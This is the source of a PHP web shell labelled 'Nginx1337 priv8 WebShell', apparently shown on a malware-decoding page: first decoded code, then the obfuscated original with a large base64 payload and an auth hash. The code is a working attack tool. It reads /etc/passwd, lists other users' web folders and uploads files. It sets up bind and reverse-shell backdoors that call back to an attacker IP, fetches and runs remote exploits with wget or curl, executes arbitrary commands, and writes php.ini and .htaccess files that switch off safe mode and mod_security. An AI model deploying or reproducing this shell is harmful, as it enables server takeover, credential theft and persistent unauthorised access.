    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>User :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>Pass :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>Type :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
    <span class="style2"><strong>Simple : </strong> </span>
	<strong>
	<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
    <font class="style2"><strong>/etc/passwd : </strong> </font>
	<strong>
	<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
	</strong>
	</span>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515"  colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
    </strong>
    </td>
    <tr>
</form> 
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
    				</tr>
<form method="POST" target="_blank">
	<strong>
<input name="mendapatkan" type="hidden" value="passwd">        				
    </strong>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
    <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
	</strong>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
    </strong>
    </td>
    <tr>
</form>   
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
    				</tr>
<form method="POST" target="_blank">
	<strong>
<input name="pass" type="hidden" value="password">        				
    </strong>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
    <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
	</strong>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
    </strong>
    </td>
    <tr>
</form>
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info 
	Security</strong></td>
    				</tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
	<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}

?>	
	</strong>	
	</td>
    				</tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
	<strong>
<form method="POST" target="_blank">
	<strong>
<input name="matikan" type="hidden" value="sekatan">        				
    </strong>

<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#00ff00>No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
    </strong>
    </td></tr>';
}
?></strong></td></tr></table></table></table>
<?
}
/////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=jumping" method="post">

<?php 
	echo "<table class=\"cmdbox\"><tr>
	<td colspan=\"2\">"; 
	($sm = ini_get('safe_mode') == 0) ? 
	$sm = 'off': die("Error: Safe_mode = On</td></tr></table>  </div>"); 
	set_time_limit(0); 
	@$passwd = fopen('/etc/passwd','r'); 
	if (!$passwd) { die ("[-] jancookkk gak iso di jumping :D</td></tr></div>"); } 
	$pub = array(); $users = array(); 
	$conf = array(); $i = 0; 
	while(!feof($passwd)){ $str = fgets($passwd); 
	if ($i > 100){ $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')){ if (is_readable($dirz)){ array_push($users,$username); array_push($pub,$dirz); } } } $i++; } foreach ($users as $user){ echo '[Jebrett  !] <a href="?y=/home/'.$user.'/public_html">/home/'.$user.'/public_html/</a><br>'; } 
	 }
   // fungsi upload
elseif(isset($_GET['x']) && ($_GET['x'] == 'cr00t')){ 
if(isset($_POST['uploadcomp'])){
	if(is_uploaded_file($_FILES['file']['tmp_name'])){
		$path = magicboom($_POST['path']);
		$fname = $_FILES['file']['name'];
		$tmp_name = $_FILES['file']['tmp_name'];
		$pindah = $path.$fname;
		$stat = @move_uploaded_file($tmp_name,$pindah);		
		if ($stat) {
			$msg = "file uploaded to $pindah";
		}
		else $msg = "failed to upload $fname";
	}
	else $msg = "failed to upload $fname";
}
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=cr00t" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:red;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){ 

// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
	$port = trim($_POST['port']);
	$passwrd = trim($_POST['bind_pass']);
	tulis("bdc.c",$port_bind_bd_c);
 	exe("gcc -o bdc bdc.c");
 	exe("chmod 777 bdc");
 	@unlink("bdc.c");
 	exe("./bdc ".$port." ".$passwrd." &");
 	$scan = exe("ps aux"); 
	if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
	else { $msg =  "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
	$port = trim($_POST['port']);
	$passwrd = trim($_POST['bind_pass']);
	tulis("bdp",$port_bind_bd_pl);
	exe("chmod 777 bdp");
 	$p2=which("perl");
 	exe($p2." bdp ".$port." &");
 	$scan = exe("ps aux"); 
	if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
	else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
	$ip = trim($_POST['ip']);
	$port = trim($_POST['backport']);
	tulis("bcc.c",$back_connect_c);
 	exe("gcc -o bcc bcc.c");
 	exe("chmod 777 bcc");
 	@unlink("bcc.c");
	exe("./bcc ".$ip." ".$port." &");
	$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
	$ip = trim($_POST['ip']);
	$port = trim($_POST['backport']);
	tulis("bcp",$back_connect);
	exe("chmod +x bcp");
	$p2=which("perl");
 	exe($p2." bcp ".$ip." ".$port." &");
 	$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
	$pilihan = trim($_POST['pilihan']);
	$wurl = trim($_POST['wurl']);
	$namafile = download($pilihan,$wurl);
	if(is_file($namafile)) {
	
	$msg = exe($wcmd);
	}
	else $msg = "error: file not found $namafile";
}

?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){  ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
	echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php } 
else { 
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
	$file = $_GET['delete'];
	@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
	@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
	$path = $pwd.$_GET['mkdir'];
	@mkdir($path);
}
	$buff = showdir($pwd,$prompt);
	echo $buff;
}
?>
<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if(isset($_POST['ini']))
	{
		
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
echo "<script>alert('Disable Functions and Safemode Created'); hideAll();</script>";
die();
		
		}

Did this file decode correctly?

Original Code

/*
###########################################
##[ ./Nginx1337 priv8 WebShell ]         ##
##[ rec0ded by Yuyud_HNc ]               ##
##[  Juni 2014 ]                        ##
##[ Indonesian Blackhat ]                ##
###########################################
 */
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0);
$auth_pass = "cda2c99fbf5e19f20d331299c15a4491"; //default pass : indonesia
$inori = "JHZxSyA9ICI3bzFjcmtjV2Z0bzYySzRyLzRwbGVFenh4RmsyRkl2SjJiT0xPSHV2TzNxc2FxZE50Z2NSU25pVTU3c3N2WmxmYmd2MDk1a203ejNDaFMzeFJ1eE1URWFrNWk1cTBNSTdGN28zL3BvTEFmczJpR1FocWhKRWJpczhFOFRRcCs3R2srOWhQeHprR1dKczM4aHd4R1RsL1JwcFdDdzA4cUNVQ0hhaDh6Q0lpaHFTSm1TMDdiWW1Na0VJZ3hkODd2cEhWUzdFNUsxL0FJM1ozQTh6bndhVnIzK3NsRXNHOS9yeFFYSjcvMWFKR1VoK2kzcXNHSXBuNnBiQ3M2NUpoNzJpajYvN0VRTXFlaWEvQ1F3dHNhNzZsWlRzaW9SeXdrVjlKb3BnWFZqc3dzdzVpdjllVFExSTl1MWtpZGI2VWNhNEhuZEp4NG5BS2pjL200L1Jpd1hFRS92bW1yaEZDWkJpUGQ4V1h0RXZHTU4wcFRYQjVBNjlrZ2d2czk4czhVQ1VhWFhNZHZSTy8vOFRpdzF5VTBQcEM2T3Q0VUI0a3c5OXpNc3gwRzVXU3R0cU83eWJaWmRJUU1pWVRUQXE4d2dwNE85NWNnd2Y1NjlDVStVLzNsM01meFArOTVvQXcrazkyd3Z4WXI1VWZ6elpvVHYwL3NIMmIvVGROcDFNZXVyWW43UkQ3ZW96cng2QWE5M1laMXhwTDVpcjI0Ynp4bUdyV1g5SVRudldHRndyZDRkejJON0dUWGVrQ0hKOHNrdG9nem1xdzhMNmNhWXZVR0hQRElzbUEySnQ1dDhzdS9sQk9hVDk5c2o5SDlqLzRYTk9CUGVVN3l2YVR6ZU1WOEowSUE3ZERsZGRDM2l4YTJJbi9RQkY3c1NWNTVHMUFZOUdhTENQbVUzL1d2MUhQV29sNjBjRVFiU21JZkxpOWgvci9yMUFnRG5kaVYwaVJ4cmxMVVgzUHZMVjNQNG5DSEtzS21ZOStsSThzQmhVWXkySSt1bk5La3ViS2dvNlpnR2JMRmtvZ3ZrazlIZEV6L1ZKYzBDWFlkb3h0WHdxSWxqQjlPaDZsc1QzdFJ6Y3dwdC9pUEZBREM4aFJsTGlOZFJkRnBHa0Fpc2c5NGYxOXA4T2ovNC90TXFvSFJlaFlDdGc0VEV6b1U2bTdZeGRLM2J4ZXJ2dEZTTkF3RTlPd280VG1qSXJVQ01UbEFwSzBJUEEwcXNzaGczaGhKUFpiQ2c4UU14bW13V0hFcldWZFBpVW80UklqZzlSNlhLbGxDM01BSExuYzh5MjM1TmhHWkJsM0R1bmh3MDM1RGhHZzZqY3laWWNpUk0vaG54UHpDL2xKMlBBNmg5ejMyR3NjWmhsdXhYUy9Ya0wyTmhWcm52dmxpN0RjQXY2dm5DRkJpdkdOMGl1MnZQQkp4Q0RiN1VxaTBwMkRWMy8vSitDa0NMNXltdGRsTjgvV2lWUVNyNnMvNEVWSmNOMzViUDdoU3Z5dS85b1JhanJ4a3JwQ0VlWXd0WVlkdkk3RlV1MVJlZTV1aitDMldiYTdwdFVWeEFubG8zN29PYmRWZHlMUW5sc1c0UTdzWlU1c05wVUxUSC83VUtPN2pQQ2FodW1XM3RPNHEvazRrN2d1VHVOVjRWQTNscWttQjRsNitrWTBwdGlkT1NzQnE0MElIS3hmcXBTUUFUSjdGL0RHSklyOG1hOXJRMm9YaGY5aC8rSThrMVFEaXVPbDF0cDdSZENFZ1hqU1BqTkZlQWc2VE5udVc5bXpWM2I0RTgrMzdVTkorRFU0L3dMOTRzaTNVU29mZ3QzQlNlWCtvYmhzaWRWZW9EY2xnNVBaR3NSRkRac1NGeUFmdllKM3hZSkVzRkRCK0o3RDhOMVNZT0tpZVppRkM0Qy9LOW5nZnI5a29DU1RqdWpSMEpyTnhtdHIvWHowdmNuUTFSTmxpWVFxMEI0UzFKTTE2YTMvaU91R2pZa1JNOHlUVm96TVd5UU9nVy85ZWNZbEVaNkFTR0Vac2o3bFd6SG5GeFk0U2o2M2hmNkhiTjA4ZmxUQUNYWkRjcjk3Y1VpMllwRXdzLzhSWlVYTmVzanJzTnk5WHJHdUNpanNLZzM4TzF3K0c5OFRhdXozNTlaRHZpVzBIUzhEREhMVHJjS211alkwWWtCMkUrSjZxVm1IalRpdE9EeTNjbzNzRFFBZ1BTMStSczRpa1E4WWtsWk9OOEJBd0JpU0RXdDVEZ1Y0ZlczaVU4Ri9PczhDa205MWx5eko5TFRoZGxSR290elhyNlFjbHlXTDFZL09qNnpuMC81Um9HYmFpQldkdjZRWFBvN0N6YnE3NmYzeklibUhIeEdHTFQ4aldENDVQbCtYMmZ0cXlEVG9jL0xCcHYzNzhDanI0bWpVS1FUUFkyOVFvNWdQaUtNemJNTG9XOE9hRFRmZjBaR3JYdUk2aHltbmFoOWpNeVJmTWR6b1ZrRXpveGlDQ1YrTzNyaWJvZE5hN2JhUnNoWkpKMWhDbnRyRlRVMXdGeXRGOU5TL1ArdFBoRnJzUzlwSFFNK1p4R3grbE1wdHdpSW9MNDQzTmYvODlVT0xQTEdRQ2JpbzhlYllLSG9pWElqNkdpL0VLdTlYaUNJSXNEMHB0WE1aNWFJM1k4OENOWGZmamFzKzRqL1dqbmpkelhPaXNUR0pZRC9odm1uL2JaeTAyNzFGUzNKekNXUnFlZkxoMTZiQk83Z1l1Wnc3MFNjUlc2L0s1U0dJTnVKV1BRa3NHOFRwUysrOVRLSXNZOUZHVXlNWklWWE9hT3MrejhkanIwWHV4SGZieHNJZW9STmkvbk1MeFYzd21PU2FsZGJMYWlqdzZDdzFVSDVESUYvQkhucDEzZmxXNFJPUkoxd0FBODBoM0NVNlJZUnEwUWp4QUZXRHppZ3poRDlwbGJnd0ZsQVZ5bzJoOXRhckZQclRUQmIxRHF4TTBoaCtyNGZFT005RnNWVlVJREdJWklCbWZVejdJeXhyTnQ4N3lhcDVESEtQYzVUR2RCdWYzUTA0QUFVRTc0UklhSzMvczhWVUxyNy92QVZUc054NU42Qi9JajI2RzkzVW8xUVhhYkpCbTE1eHQ1V09IdERkV0YySEt4VFg4dFI1ZTkyODdmNVZOSVJ4VU52UHpNcHdueGh3K3Y0czZabWJvK3JiR1RIcjRleGMrQWF4UXZCaDVhS2g0cytBdFhDcVY5dVFUZWh3RUpXRUpnbStVblByNTd0YXZwTGt1THpFQ3UrOTVUSmJobzBjNXJGbDRwNUVLY1lndHcxSXNXaE1UL0hKMGFvODZFeUFIUTZDL2tidk8xL0d0aHg0c05zVzl3dVJEZ01tSE9ZY3JSOVc4Wmkyd0pqU1JrN2tQYUZSS0VCSklIT3pPZmphaE80VEJLTzRUTFZSVWhnNjNtVENoTTB5ODhCY2xDcklDZVJYQ3Z6c0xDS1NDT1dPNWpHNmxCRlYreFdCNTdIdnhFR3hhUG5vYi9rcFJVbVUvaDRDL0w0U3dBMXp4dnB0ZUZCZS9YSXFYYzJIMmFRVEJEMkhIYU41N3hZTVJ4b29FWTdNODgrOTFWUW82K25pQTNzRTl0UUpDeENSdGF2NkZidE9UenhHVEVCeUowTGxWVE80dzdmR0drdFBJWnM3SHhIYmNUTGlwekNWUklUVTJORFhOQzI0Q01VblZVMnNEYXN4bjhRcXRoVDBhaEhWT3lIc3BOdStEc2oyNFFlSVhscUw0V2J6ekNzSWx2UjZOSkI5OFFBTGViUXpiclo1dzl0TWZMdXFqa0YvWk1tL01VcE9vbTYra2tqd2NzRFU3N1lVMUZKVW11VG1iMzFWTXdzejBOaTh5V3czK3IvQlduV3ZhbjFEWml4aklkY1pTdlJEYWk4YVZxbENOS1FuT2ZGYlZBMnZYa3g1LzZScHM4eWZSSnVUOHM5K2JPc2lrbHhnclhSd09SQ2hVd3NhRmlvNnpIQUhMU09XQ0JqM1VvS3VVQXk3ZnUwSmxZdmJja0h6NGtiU2ZaSncvT08wZGp0d0Nxd3V5Z09MbU82NERJSXFmWGZJcG8yQ0FSS0ZqR1dEaC9xS1F2RjQxbWpFSWMxT0thNVRFandpbDRMUWVmUnlObkE3RnhQSmtsRHpqQ0FKQkFpZStCMkx0dDZRWEs5Rll5OEgwNUduemd4MFpmRnY3RGhxcStkQnNuRXRyaWhFWkRCVjRHclYwVWV2WlZXOVRPejVjeEhSMFJtK281S0dUbksrYk15UDNaNkRhRHpFYW1oa050cU9EVFdoR1NUTmdtNVMzUE1yOWRwUnl1QmNJR0ZjTWduK3c1a3FJSHVXYWhDeW1FU2kxcHhtampuVDF0eGV4ZTVaeDB4dFpLUDZJMDBjblNWWE9ta3JIQ2NNTjVSWG9ia0hhbWE3dlFUNVJwamRoWWZpZWtkOGoxZDlBU0JKdTZ3ZzhLYlV3eU5PaThTdUJpTHB3UE8rM2ZYL05jbDUyUXdoSjhwd3hQQVl0UitTdGp2RnNRdVZNMC9EUGg4cEEwTmxHZ2o4dDY0b2txVk5HOU1ydnBRVHZ4eDkyQWk4QnBCdzBOdHpwQ29BdUFXWEJTUlBKYmxXbm84UHA3UGc0MHR1WENPOHlTSzg0U1ZwSEV6T3B1cE5EN0xoYkxkWnF3dkxSMDZqMG9HQk11bFE1WEVxZHJFOFRpY2gvcTBycmRXdDEvWWhCOHdBdHhPZU80d3hGQzZPTHhCM0N4SndmZFN1U1dKQTd0RSttTnZXWmpETzBuZDRQeWxscGhSSThzbFh3cHh2UkZ3dUtVekpSd2JqcElTdUFvQ2xFc3h3ZFNNNEc4MDVPbXk5YzJIbWhjTnBWdHUyY1ZmQnhGMjFERUZhb2ZxczBncTdkYXRLc2ErYTZ4RTY0alJBRlpqNjQ1SUdnVDdPaW9zcG9zWUxvcmJCY1pZS215ZHBjM01Pek1pdUVSS2hYRXFVZUJ0YWdyV05BbTBNUFAxYXViRUNaTmlCY0NVWXNDemUyd1RaSWJxT1c3N09SVnFwUTBaNldSTk53akNUWTIxZno5bWcwN1dNZzl4TDE0Tm9uRTRLUkFqYmg0Z2pWQzNxWTV1cTFKZHdnSXFJZnJraUxteEl1d1AvTWd3ZWJBZWI5VXlpT0ZWNEpJU0NjUjV0RG9MbXJ2TDQ5M2ZNeG5sbVMwYzF1T2FlTTVscGU1dzcxTkNDQmFqaXRpNTdsVEtQWnRrTkI0V3dSNk4yNVlCQXprcktIM2JwTXJlZXJrWk5LeW9ocGVQaXo0S1VtUFVIbUVvUFNZMytPVjZCU2htdXFQRmt1SlNST1hLcEROV3pvN3FQeit0enlmYnlCb0lobFd6OGZtK1VDaStkRGhKcnM1aSt4K2M2eDF2b0hnbERtUHp4OE1PYVRoV29oSkU2dkZ1WmxBZVBwRTZrRjJVbXR6Z1dKdXpNcWdXRFRxakZYS0pkaEVTS1pTdGdrZlpwdGtrWkRtZ0haSk9RczJ2Q3RsWEtOU3YxQkNHLzdhTHhEN1M5emxwMDBLN2t5UE1DSVYwZ1ZQNEtkakYxSllGQ2lZT3RWcnhDd3VzdStycjJKektVeWVGbTloS0prMlJQdFpQTWpiTmZteFFJVnJJMUpJRURhdndNWGJ2cVE3eXZOMzUyV2JSOGpPMHZNRG5MVHhtN1ArUnhFKzI0MHUzeEIvN1VzNThrczg0YitEOWRMOWIwdVd1U0I1WlJ5VVJqNG5IV05IQlY4eG5PVmE1RENqdVVHd0ZxRURubVRlN045c3dGTkRNK2tSODlCVFFoOWttRzZyN0ltQTJxMm84Z0c3V2dKR25aQkkxY3c5WitsNTFHVllHNmxGVzFVcFk4MDY5ZUtQa3QzOUpObnBUMzdxS0xIcHFKVG82Mysrdm55dmxqOCs1YzNiUk1hbGpOUWFpSG1ieHlpNkozQThSQnpYMWF0QkNDK21NNk9uanBFMHBRWXhxQnd1RWdNalNWRExOc2ZSM0tMK3pyMm5KeE9LdHQrK3NpVG5ybWw3VjNaMHNDenNXK3Q5SEZrZytINHNtdTQ4Z3ljK01aOE5nOFk5bWZadVYxMG53NmNjZEhNWlJMK29XQXlIeGgvODFTaWxVejM1MCtwMkowQ2xqR3hvQVBqb3VLN2I2b2h0eU4zRzdPaWpIMFpQQU5mcXFEa2xRbURMbGFQWUV4aFFHWE1xeEowTk5KSXJVWUFRVTRFcW9wNkFjSTF6WE9iQ3pRWHhFS05LTzhPeWpseTh5WDRtZ1dKSWVZVHZYN3B6S0Fvd0NsNldiOVlMUG0xdTVOSW9vTlJ0UE9IV0srZXAweG9wa2pRYjhibDA4SmppKzhDSElGTVkxV0pxbVE4OUIya0EySXloU2VQNnZidHBiUWE1eTgvRXQ1Q3NmOWZSbGEyNnRTbk1zMElOQWVBeDdBT0s4RVcyL0tTQTkwYXlVZnlzQSs1cUxTWEdpNDQvZ3VJa3ZBOTZFV09rdm5wdFo5eXJQeVcrdE93T1BmM254UEdheE5URGNLSEpKcWRKWWYzRUhTa3g1V3RHS2prTm1xWnpTUW10NkVZOFZhaDhjMzB3ankvTjVUTVdtd3hIdjQyZmpIMkVWaVRBOG1LbHBMOFhqZXB6WFh1M1VaNTlTM1A1a0owRDVRMW1LREsrR2NNMXdVNWlTLytRWkFuQ29jcTdHOUhrUk85TWEzcHpCTnZXZXVsUG9HS3N6a2wvSjU5NVdRdVgxekxaRGpjYkRPOFZUd2Zzb01tY2tJWk96YzQ1Y0hGZ204TzVhbC8xcFc0OHRqV2lYdC9ocG9lMCtJSFQ3MHJKcjA4SzVNRXBpNWZpSzVOcnVPRlRocHpQcy9wWGVGeC8vRmFweWFxQjVRZlZWanhHVUZZTjlGNzV3T1QxUlZueGlrbURmN3hIeTBOSTc2SGljRjVpWXNJSThFMEdkVHl6OGNsUU9KbWJFWTdTT2d6VmVqa1FneFNQRElqdkx3R3QrcEFoMlhrVkxqUEF5VVNPUFlpbllHUG1RVlo3QUNoTmFpUEhQYmVGLzJoWnVDOWUzMDRZOEUrbXdVZjJSVTIwdWJyVEVaSnl1bGYyR2tnNUdPSFlETDAwZ0pFQ1QreW1NcU5hT3BrQkV4cTc3Nnd2U1EyOWpQMjdyUUdCK013UHZtVE9oZ3I3blJYUEVja0crVWRHUE15enJYVHo3REpxMDZER0pPd0JFMlhlb0xDN01YcG4xNEhtL0pQdDFvdSticm5acWxJem45V2RKaTIzWXg3blNUVU92S2U0Y0piK21FaFhTVTNiai81SWZVamRMcmg4cHEwUHFFVitIRWlYelp0MXJNM2dUTmk2SGQvSStoZzZRZWxHK0dBbHlSejM4ZzNmSnZDcVdGWGdwZURHbXZNUklTSC9oWlhQd0lWQUZCYVM3eXR1WmVqV1RabmpDY2t2aEdkZk1xTFIwRDBRaUZ6YmF1OXk0R1BxUmNUUDFVZmJ4NDBMdUJuZmFGZlRVNGhWUlprSlkxS2J5Mm90blNWS1RvbkhuWHlybGc0cUZFWU9VMWh6amJsS25Zb0tubnFyaWI3ejdJZGRGaXozSjc2ZUlxaTRkeVIxc0s4OFB2SjQ0Y2NMQmUxWE15T21nbC9CckpXb2w5S0YxU2JtckFIK0Z0MmNqQ2JpSSs4Q3pGRk1nRzI1aGgrWGNUTUoxeXp1MHA3cjluUGpsUTVrVDVaQ0d2V3Y0enYrWEE4TDhWQkRKeW9CTnJ1TGZQYW83WHdMNXpLTUNqNDNTd0dMZ253SzVxVWtkcUFGelhOZU1pY3hnUytZdTNBMEhFaUN5RnNJT25rSWh6YkFGWVBtcTNjb1pLZE5ma0RXYUlHQkdBK0IzM3B3MDlBZGRFd0JXblNWcXdXWHUzUzFYbjR3RWtoeUFrQnRzbnV6MXA5cnBBRUFHbjF3aTlMbzFzeDloUUpCTTN4eGhSOUFoOUpMZHhydzNuL0lmNmlkaGFiYVdEZUZMNTAvUThxaVhITy9TYjRTdUFteGdLRkpmSWg4ZkxCcHo4cXVNa2V2bjNNNnFncklQZUZ2U00rWnZBQmdnVmY5YSsrQUwveWRabWtxSkJnbldhdDduaEhMYktlOGtUMkp3cUpyeUd6OWhjVHpoYVEyMXY1SXRyYWJJZVhwSDYrR0hRQmhnMHgwdmNvRmhHakNsV09YVnFVWFMrTXpyYXpocTZzbGRJUWM3RlovRjgwVGdVVytaR3Q2QWtTMjBrbHN4b3hGTUFLY0Y3UGtkR3QraTJ1UmNuQXNGOHFpT0ZuMTJIaGZ6MjRLSDdGTm42UG9VdkhOK3pIanFNd2duYzk4RXpoZWI1ZExxVDFtMW16NzVsVkNNRlMrZXFGQ0tDRDJYaUtGMlcrcGQ0c1dnZWFzS3ZBNXAyc1RucUtiOUdxOHlIdzIrTHlMc1RnV3FxTUU1ZkFpenQxMDE3c1Awc3FJQm0wZDEwd2t2UGoxY1RQYjJtTHJKWVR0dUIxWEdsenBhMml0eHloU1kwMFplVW80aGFxR3Z0TFFNNDdabUZqd3FjbkE4Mk82QUx6QXJyNHdTZmFjTENKa0pTZjJyMHg4M3BpUzBYNUxielFycTVRRUVHaEZoTDYzZTdaTjRoTXlMRGQ0dk1MWGdGaFlCN1VHUDlyTmpheW5aS3dpcW1ob0lEZUhuU2dja1lHd0lwZ0NQS3FCVk9SWk9WRmpjNm5lRnpWTFVFclpoS3BpWkozWG1CYi8ya3F3YlZJcjRhZUpZSkhUQ3dMSWtrY3V4dHQvY0lYVjg2Uk1CNUxQdFlMblFkOVNORmlLZGlTTC9ZWEtsdUtraW5QZHFJZVVHMHBocWlnd1o5VkprMFZsQWgrQ0d1a0JlcllCakd0Q1MzaDFxa083azRzNXVoR1hNY1hZcXVXYVZTRk1QQlE3ZGd4WWt1MG9QelBHNGRLRUx6RERGNHpUdldQbmxrS2R1eEh1Ulg2VVYyTUpwQkVFb3U3QVhWV1J5S0dsZ016ZVE2aXVCRjZLOHk3dUgvQjQ0azh6ME4rakRUN3ZPcTk0WnFGd010ajByMXZPQ1